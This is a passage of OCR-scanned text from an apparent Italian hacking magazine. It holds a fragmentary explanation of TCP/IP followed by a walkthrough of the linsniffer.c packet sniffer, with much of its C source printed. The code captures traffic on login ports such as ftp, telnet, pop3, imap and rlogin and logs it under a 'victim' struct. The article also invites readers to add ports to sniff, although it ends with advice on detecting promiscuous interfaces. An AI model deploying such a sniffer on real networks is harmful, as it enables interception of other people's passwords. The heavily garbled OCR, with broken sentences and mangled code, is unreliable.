dette aggiuntive, che fanno parte della 
pseudo-intestazione. Questa è formata 
dall'indirizzo IP del mittente e del desti- 
natario e da un codice di controllo. Il 
motivo di questa complicazione è ovvio: 
essendo un protocollo inaffidabile, co- 
me si può stabilire se il pacchetto è 
giunto alla destinazione corretta senza 
specificare l'indirizzo IP a cui era indi- 
rizzato? 

» Caratteristiche del 
TCP 



Facente parte dello stesso strato è il TCP 
Possiamo tranquillamente dire che esso 



rappresenta l'elemento peri! 

inomio TCP/IP, andando a 
controllare che i dati trasportati da IP 
siano effettivamente corretti e giungano 
a destinazione come dovrebbero. 
Per capire meglio quali siano i vantag- 
gi di TCP e come mai il binomio TCP/IP 
sia così stretto e così affidabile, andia- 
mo ad analizzarne le caratteristiche 
punto per punto: 



TCP è caratterizzato da un 
Ciò signifi- 
ca che i dati arrivano nell'ordine in cui 
sono stati spediti, mentre nell'IP aveva- 
mo una frammentazione in pacchetti 



le; ma 

L'affidabilità è 
determinata nel modo più semplice 
possibile, ovvero nella 




TCPs Si idi lag Windu* 



Nel modello a finestre di scorrimento si 
inviano molti pacchetti prima di ricevere il 
primo ACK; una volta ricevuto questo si 
prosegue con l'invio di un'altra serie di 
pacchetti. Questa tecnica serve per massi- 
mizzare la banda e non sprecare risorse. 



che potevano arrivare in ordine sparso 
e che inoltre potevano subire un'ulterio- 
re frammentazione durante il cammino 
nel caso avessero trovato dei "colli di 
bottiglia" caratterizzati da un soglia di 
frame fisico minore. 

• TCP usa una 

, mentre IFJ definendo un 
solo punto del cammino, non conosce 
quale strada farà. In verità anche TCP 
usa un meccanismo a pacchetti, ma de- 
finendo i due punti terminali, identifica 
una le. 

• TCP si può dire che 

>so". È in- 
telligente in quanto riesce a ricomporre 
il flusso dei dati e a passarlo al livello 
superiore nel miglior modo possibile, 
ma non è curioso in quanto non si 
preoccupa mai di sapere cosa stia tra- 
smettendo. 

TCP è una connessione 
, il che permette di spedire e ri- 
cevere dati contemporaneamente. 

» Affidabilità" 

Abbiamo ripetuto fino alla nausea che 
IP è inaffidabile, mentre TCP è affidabi- 



ìento in cui ha 
effettuato la spedizione di un pacchetto, 
TCP si mette in attesa di una "ricevuta di 
ritorno" da parte del destinatario. Se 
questa ricevuta arriva nei tempi stabiliti 
si passa alla spedizione del pacchetto 
successivo, se non arriva si procede con 
una nuova spedizione del medesimo 
pacchetto. Questo sistema prende il no- 



Come sempre accade non è tutto oro 
ciò che luccica. Cosa succede se, per un 
rallentamento della rete, il timer scade 
e viene inviata un'altra copia dello stes- 
so pacchetto? Succede che magari al ri- 
cevente arrivano due copie in giro di 
poco e ciò potrebbe portare a dei pro- 
blemi. Inoltre, se setto un timer troppo 
veloce può darsi che si creino troppi 
pacchetti duplicati, ma se lo setto trop- 
po lento posso decrementare le presta- 
zioni della rete. Ovviamente per risolve- 
re tutte queste possibili situazioni 
stati creati appositi algoritmi < 
sai cfl plicati che riescono a ot 
timizzare le risorse. 



— i — 



»1 MEE 



v , - , -r 



L'header TCP e più complesso di 
quello UDP, contenendo un numero 
maggiore di campi e di informazioni 
Retransmission: nel caso un pac- 
chetto vada perso, allo scadere del 
suo TTL se non si è ricevuta rispo- 
sta si provvede al rinvio. La sequen- 
za originale è garantita dai numeri di 
sequenza dell'intestazione. 
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Il Tcp Checksum e dato da una pseudointe- 
stazione formata dagli indirizzi IP del mit- 
tente e de destinatario, dal numero di proto- 
collo e dalla lunghezza dei dati. Poi si 
aggiungono tanti zeri per renderlo multiplo 
di 16 e lo divide in parole di 16 bit calcolan- 
do la somma a completamento di uno. 



» Dentro a TCP 



Per quanto intelligente 



tormazi 



h più per 

■dati alla 



Una tecnica fra le svariate utilizzate è 
quella delle 

Immaginate di lanciare da un precipizio 
5 sassi uno di fila all'altro senza aspet- 



tare, come avevamo detto prima, la 
conferma uno per uno del loro arrivo al 
suolo. Dopo i primi cinque sassi, nel 
momento in cui sentiamo il primo 
"sbong" dell'arrivo, gettiamo il sesto; al 
secondo "sbong" il settimo e così via. 
Nel caso si perdesse uno di questi 
"sbong" significherebbe che quel sasso- 
lino (...il pacchetto) non è arrivato e 
quindi lo rispediremo. Essendo tutti nu- 
merati, una volta a destinazione non 
sarebbe difficile rimetterli in fila anche 
se fossero giunti in ordine sparso. 



giusta 

Come nel caso di _ _ 
che adesso ci vengono in- 
contro le porte di sistema. 
Al pari delle porte hardwa- 
re (parallela, seriale, usb...) 
le porte delle applicazioni 
sono quelle che danno ac- 
cesso ad un determinato 
programma. In principio 
erano 256 quelle conosciu- 
te ed alle quali si associa- 
vano responsabilità preci- 
se; quelle sopra la 256 era- 
no dinamiche e venivano 
assegnate di volta in volta. 
Con il TCP abbiamo intro- 
dotto anche il concetto di 
, identificato 
come una "linea diretta" 
fra due punti. La connessio- 
ne è caratterizzata da due 
estremi, ognuno dei quali a 
sua volta caratterizzato da 
due coordinate: l'indirizzo 

, . IP e la porta. E chiaro che 
'Ol SI r ,. 

lx . . ogni applicazione può ac- 
iltiplo j i 

, cedere a qualunque porta 

olan- u' i • u- + 

purché la richiesta proven- 
ga da un binomio IP-porta 
differente. 
Come abbiamo visto, TCP 

ha un sistema abbastanza intuitivo di 

gestire i dati, ma in verità ci sono due 

punti importanti da chiarire: 



base il 
del poe- 
to. Ugni ottetto è numerato ed in- 
viato tramite la finestra a scorrimento, 
mantenendo però tre riferimenti fonda- 
mentali, ovvero: un "registro" in cui scri- 
ve gli ottetti arrivati da quelli per cui si 
aspettano informazioni; un "registro" 
con gli ottetti spediti e con quelli da spe- 
dire; un "registro" con gli ottetti da spe- 
dire e con quelli che potranno essere 
spediti solo dopo lo scorrimento delle fi- 
nestra in avanti. 



• La dimensione della finestra di 

scorrimento , ma va- 

ria e si adatta nel tempo in base alle ca- 
pacità di ricezione del destinatario. Ciò 
avviene grazie ad un parametro spedi- 
to insieme alla conferma di ricezione 
che dice se allargare o restringere la fi- 
nestra stessa. 

Analizziamo infine come è formato un 
segmento TCP Come sempre esso è 
fatto da un'intestazione e da un'aera 
dati. Considerando l'intestazione vedia- 
mo che innanzitutto è formata dai nu- 
meri di porta del mittente e del destina- 
tario, di 1 6 bit l'uno; seque il numero di 



3u_r.-« izr-z 



Il datagramma UDP, semplicissimo, 
I formato solo dalle porte di partenza 
e di destinazione, dalla lunghezza e 
dalla somma di controllo. 



sequenza dell'ottetto ed il numero di 
conferma, di 32 bit ciascuno; il primo 
rappresenta la posizione all'interno del- 
l'area dati che ha quel segmento, il se- 
condo è il numero di conferma che de- 
ve arrivare per continuare la ricostruzio- 
ne. Segue poi il segmento che identifica 
i dati urgenti, quelli in pratica che devo- 
no essere elaborati subito e che non 
hanno a che fare con la trasmissione in 
atto precedentemente. Dopo un'area ri- 
servata ad usi futuri di 5 bit, abbiamo il 
campo che indica la posizione dell'area 
dati nel segmento e 6 bit che identifica- 
no 6 distinti segnalatori che indicano al 
destinatario cosa contiene quel seg- 
mento; i sei segnalatori sono: URG, 
ACK, PSH, RST, SYN, FIN. Il campo se- 
guente indica la capacità della finestra 
a scorrimento per quel destinatario, ej 
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Continuiamo con l'analisi del linsniffer.c, lo sniffer open source 

per MnuK di Mike Edulla. Se ui siete persi l'articolo, 

correte a scaricarui l'arretrato dalla Secret Zone del nostro sito. 



Eel numero precedente abbiamo visto le intesta- 
zioni e le variabili struttura che ci serviranno nel- 
l'analisi delle funzioni ed abbiamo illustrato i co- 
mandi salienti della procedura openintf _ che 
serve ad aprire l'interfaccia di rete in 
modalità promiscua Ritorniamo quindi al 
main che ci fa un po' da guida nell'analisi del codice. La se- 
conda e la terza riga di main inizializzano due puntatori pre- 
cedentemente dichiarati ossia ip e tcp che devono contenere I'- 
header ip e tcp puntando ai campi tcp e ip della variabile struct 
ep di tipo etherpacket, anche questa precedentemente di- 
chiarata. Le linee cui mi riferisco sono le seguenti: 



ip= (struct iphdr *) ( ( (unsigned 

long) &ep . ip) -2 ) ; 
tcp= (struct tcphdr *) (((unsigned 

lom v ~ % ' 



In questo caso i reference (cioè gli indirizzi in memoria) delle 
due variabili ep.ip ed ep.tcp sono passati attraverso un cast ai 
puntatori ip e tcp. Il cast è una funzione del C che consente di 



forzare la conversione di tipo per una variabile. 
Continuando con la funzione main potete notare una serie di 
funzioni signal 



signal (SIGHUP, SIG_IGN) ; 
signal (SIGINT, cleanup) ; 
signal (SIGTERM, cleanup); 
signal (SIGKILL, cleanup); 
signal (SIGQUIT, cleanup) ; 



Queste sono utilizzate per la gestione degli interrupt ossia d'e- 
venti esterni al processo in corso che lo interrompono e che 
'possono essere gestiti dal processo stesso attribuendogli un'a- 
zione. Il primo parametro in ingresso spe- 
cifica con una costante il tipo d'interrupt, 
>il secondo può essere anch'esso una costante 
o una funzione o meglio un puntatore ad 
•una funzione Nel caso specifico vengono 
installati i gestori dell'interrupt da tastiera (il classico CTRL-c) 
con la costante SIGINT oppure il segnale di chiusura forzata 
SIGKILL e altri, che indicano al processo quali eventi devono 
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generarne la chiusura con il richiamo della funzione cleanup 
che riporto di seguito: 



void cleanup (int sig) 

{ 

fprintf (fp, "Exiting. 
close (s) ; 
fclose (fp) ; 
exit (0) ; 



\n"); 



Come potete vedere questa funzione visualizza un messag- 
gio di chiusura, chiude la sessione, chiude il< 
file di log ed esce. 



» Il file di log 



L'ultima parte del main è la seguente: 



if (argc == 2) fp=stdout; 

else fp=fopen(TCPLOG, "at") ; 

if (fp == NULL) { fprintf (stderr, "cant 

open log\n") ; exit (0) ; } 
clear_victim() ; 
for(;;) 

{ 

read_tcp (s) ; 

if (victim. active != 0) 
print_data (htons (ip->tot_len) -sizeof (ep . ip) - 
sizeof (ep . tcp) , ep . buf f-2 ) ; 

fflush(fp) ; 



Questa parte genera il file di log e lo chiama con il nome sta- 
bilito nella label TCPLOG che abbiamo visto nel precedente ar- 
ticolo: 



#define TCPLOG "test" 



Naturalmente potete sostituire il nome del file con uno di vostro 
(gradimento.. Qualora l'apertura del file non vada a buon 
fine, viene restituito un messaggio 
d'errore. A questo punto lin- 
'sniffer dopo aver inizializ- 
l 'interfaccia di rete, aver impo- 
rtato i gestori degli interrupt ed il fi- 
le di destinazione dei dati è pron- 
to a sniffare. Prima però 
'inizializza la struct victim, 
che come abbiamo visto nel precedente articolo con- 
terrà i dati della comunicazione "vittima", richiamando la fun- 
zione clear_victim, che non vi riporto poiché, come potete ve- 
dere anche voi da linsniffer.c, imposta soltanto a zero tutti i 
campi della struct. Infine avvia la lettura con un ciclo for infini- 






to che richiama la funzione che riportiamo di seguito: 



int read_tcp(int s) 

{ 

int x; 

while(l) 

{ 

x=read(s, (struct etherpacket *)&ep, 
sizeof (ep) ) ; 

if(x > 1) 

{ 

if (filter () ==0) continue; 

x=x-54; 

if (x < 1) continue; 

return 



Questa funzione riceve in ingresso l'identificativo della sessione 
precedentemente ottenuto da openintf e quindi legge attra- 
verso la funzione read i dati provenienti dalla sessione e li in- 
serisce nella struct ep ed infine restituisce un intero con la di- 
mensione dei dati sniffati. 



» Filtri 



Tale lettura però non è incondizionata ma opera attraverso un 
filtro che è costituito dalla funzione filterQ 



int filter (void) 

{ 

int p; 

p=0; 

if (ip->protocol != 6) return 0; 

if (victim. active != 0) 

if (victim. bytes_read > CAPTLEN) 



fprintf (fp, "\n 

[CAPLEN Exceeded] \n" ) ; 



return ; 

} 
if (victim. active != 0) 

if (t ime (NULL) > (victim. start_t ime + 

TIMEOUT) ) 

{ 

f pr int f ( f p , * \n [ Timed 

Out]\n"); 



return ; 

} 
if (ntohs(tcp->dest)==21) p=l; /* ftp */ 
hs(tcp->dest)==23) p=l; /* telnet */ 
if (ntohs(tcp->dest)==110) p=l; /* pop3 */ 
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COME FUNZIONA UNO SNIFFER DI PACCHETTI 



if (ntohs(tcp->dest)==109) p=l; /* pop2 */ 
if (ntohs(tcp->dest)==143) p=l; /* imap2 */ 
if (ntohs(tcp->dest)==513) p=l; /* rlogin */ 
if (ntohs (tcp->dest)==106) p=l; /* pop 

passwd */ 
if (ntohs (tcp->dest) ==80) p=l; /* www */ 
if (ntohs (tcp->dest) ==761) p=l; /* 

Kerberos "passwd" */ 
if (ntohs (tcp->dest) ==87) p=l; /* tty 

link */ 
if (victim.active == 0) 
if(p == 1) 

if(tcp->syn == 1) 

{ 

victim. saddr=ip->saddr; 

victim. daddr=ip->daddr; 

victim . active=l ; 

victim. sport =tcp->source; 

victim . dport=tcp->dest ; 

victim . bytes_read=0 ; 

victim. start _t ime =t ime (NULL) ; j 

print_header ( ) ; 

} 

if (tcp->dest != victim. dport) return 0; 
if (tcp->source != victim. sport) return 0; 
if(ip->saddr != victim. saddr) return 0; 
if (ip->daddr != victim. daddr) return 0; 
if(tcp->rst == 1) 

{ 

victim . active=0 ; 
alarm(O) ; 

fprintf (fp, "\n [RST] \n") ; 

clear_victim() ; 
return ; 

} 

if(tcp->fin == 1) 

{ 

victim . active=0 ; 
alarm(O) ; 

fprintf (fp, "\n [FIN] \n") ; 

clear_victim() ; 
return ; 

} 

return 1 ; 



Questa funzione effettua prima alcuni controlli sulla lunghezza 

dei dati sniffati per evitare che si superi la quantità di byte, 

definita con CAPTLEN e che non si abbia 

un time out superiore a quello defini 

to nella label TIMEOUT. Dopo potete nota 

re una serie d'istruzioni if che servono al 

filtraggio dei pacchetti secondo la 

porta di provenienza. Qui sono state 

impostate le porte principali come la porta ftp, telnet, pop3 etc. 

Voi potete tranquillamente aggiungerne altre a vostro piaci- 




mento, qualora vogliate sniffare comunicazioni "particolari". Se 
ad esempio aggiungo questa linea: 



if (ntohs (tcp->dest)==53) p=l; 



posso sniffare anche le comunicazioni sulla porta 53 e così via. 
A questo punto se la struct con i dati della comunicazione vitti- 
ma non è attiva viene riempita e viene richiamata al termine la 
funzione che vedremo nel seguito, se invece 

la struct è attiva viene effettuato un confronto tra gli estremi dei 
pacchetti catturati (indirizzo sorgente e destinazione, porta sor- 
gente e destinazione, etc.) e quelli della struct victim; se non c'è 
corrispondenza la funzione restituisce ed i dati non vengono 
registrati nel file di log. Qualora poi il filtro verifichi la presen- 
za dei flag FIN (fine connessione) o RST (reset connessione) nel 
pacchetto TCP, la funzione restituisce ed inizializza sempre a 
la struct victim. 

> » 1 dati sniffati 

Ritornando quindi alla funzione tcp_read, es- 
sa restituisce a sua volta a main la dimen- 
sione del pacchetto sniffato che ha scritto nella struct ep di ti- 
po etherpacket La funzione main a questo punto si occupa 
di scrivere sul file di log i dati sniffati attraverso la funzione 
print_data 

Prima di vedere in dettaglio il funzionamento di print_data 
vorrei farvi vedere la funzione print_header: 






int print_header (void) 



fprintf (fp, "\n") ; 

fprintf (fp, "%s => ", hostlookup 

(ip->saddr) ) ; 
fprintf (fp, *%s [%d]\n", hostlookup 

(ip->daddr) , ntohs (tcp->dest) ) ; 



Questa è la funzione che scrive i dati fondamentali della co- 
municazione sniffata ossia l'indirizzo origine e destinazione. Ri- 
chiamando la funzione hostlookup fa in modo che vengano 
scritti gli ip numerici della comunicazione. Vediamo anche la 
funzione hostlookup 



char *hostlookup (unsigned long int in) 

{ 

static char blah[1024]; 
struct in_addr i; 
struct hostent *he; 

i. s_addr=in; 
he=gethostbyaddr ( ( char * ) & i , 

sizeof (struct in_addr) ,AF_INET) ; 
if (he == NULL) strcpy(blah, 

inet_ntoa (i) ) ; 
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else strcpy (blah, he->h_name) ; 
return blah; 



A questo punto non ci resta che vedere il funzionamento di 

_:rfata partendo come sempre dalla presentazione del 

sorgente: 



int print_data(int datalen, char *data) 

{ 

int i=0; 
int t=0; 

victim . bytes_read=victim . bytes_read+ 

datalen; 
for(i=0;i != datalen; i++) 

{ 

if (datati] == 13) { fprintf(fp, 

"\n"); t=0; } 
if (isprint (datafi] ) ) {fprintf (fp, 

"%c", datati]) ;t++; } 
if(t > 75) {t=0;fprintf (fp, "\n") ; } 



La funzione riceve in ingresso la lunghezza del buffer da scri- 
vere ed il puntatore all'array dei dati e scrive tutto sul file di log 
Con questo abbiamo concluso la lunga descrizione del sor- 
gente di linsniffer. Per utilizzarlo basta compilarlo con la se- 
guente linea di comando 



gcc linsniffer. 



-o linsniffer 



ed avviarlo lanciando come utente root semplicemente il co 
mando: 




W~~WKèMMM\ 





A questo punto linsniffer dovrebbe catturare e memorizzare 
tutti i pacchetti che passano attraverso la vostra rete locale e 
■ -^_-^_-^_-^_, che fanno riferi- 

mento alle porte 
che abbiamo de- 
finito nella funzio- 
ne filter. I dati 
possono essere 
letti con qualun- 
que editor di testo 
aprendo il file di 
log. Per terminarlo 
è sufficiente un 
Ctrl-C. 

Vi consiglio come 
esercizio di modi- 
ficare i filtri o la 




Alcuni sniffer hanno un'interfaccia grafica a 
finestre, ma quello descritto in queste pagi- 
ne è molto più spartano. 




formattazione dei dati per personalizzare il più possibile lo snif- 
fer e per imparare a padroneggiare la programmazione d'ap- 
plicazioni d'analisi dei pacchetti di cui linsniffer.c è a mio pare- 
re un ottimo e educativo esempio. 

>> Come cautelarsi 

Per concludere vorrei darvi alcune informazioni su come faf. 
fronte all'eventuale installazione di uno sniffer sul- 
la vostra macchina a vostra insaputa. E possibile verificare 
attraverso semplici tools se vi siano delle interfacce di rete che 
operano in modalità promiscua. Uno di questi è l'ifconfig, 
uno strumento utilizzato per configurare i parametri dell'inter- 
faccia di rete. Basta lanciarlo dal prompt dei comandi per sco- 
prire se ci sono "segugi" indesiderati sul vostro sistema. Altri 
tool che operano come ifconfig potete trovarli in tutte le distri- 
buzioni linux. Inoltre, qualora la vostra interfaccia di rete sia 
stata impostata in modalità promiscua, al momento della chiu- 
sura dell'interfaccia stessa (per esempio quando spegnete la 
macchina) il sistema dovrebbe segnalarvelo. 

Le funzioni di if- 
config sono sola- 
mente in grado di 
dire se la propria 
interfaccia di rete 
è in modalità pro- 
miscua, e quindi 
sta sniffando dati 
sulla rete locale. 
Il vero problema 
però è capire se 
qualcun altro, sul- 
la stessa rete, sta 
utilizzando un 
computer con 
scheda di rete in 
modalità promi- 
scua e uno sniffer, 
magari puntato 
proprio sul nostro 
traffico. 

Fortunatamente esistono alcuni applicativi, come NEPED (Net- 
work Promiscuous Ethernet Detector), che rivelano le interfacce 
in modalità promiscua in tutta la sottorete. Il sorgente di NEPED 
può essere scaricato da www.zone-h.org/files/44/neped. e 
NEPED fa anche parte di Trinux, una distribuzione Linux basa- 
ta su immagine RAM e distribuibile su floppy o CD-ROM che 
scarica e configura dalla rete una suite di strumenti di sicurez- 
za (port scanner, sniffer, scanner di vulnerabilità, programmi 
per la costruzione di pacchetti, fingerprinting dell'OS, monito- 
raggio della rete eccetera...). Le immmagini ISO di Trinux si 
possono scaricare da http://trinux.sourceforge.net tà 
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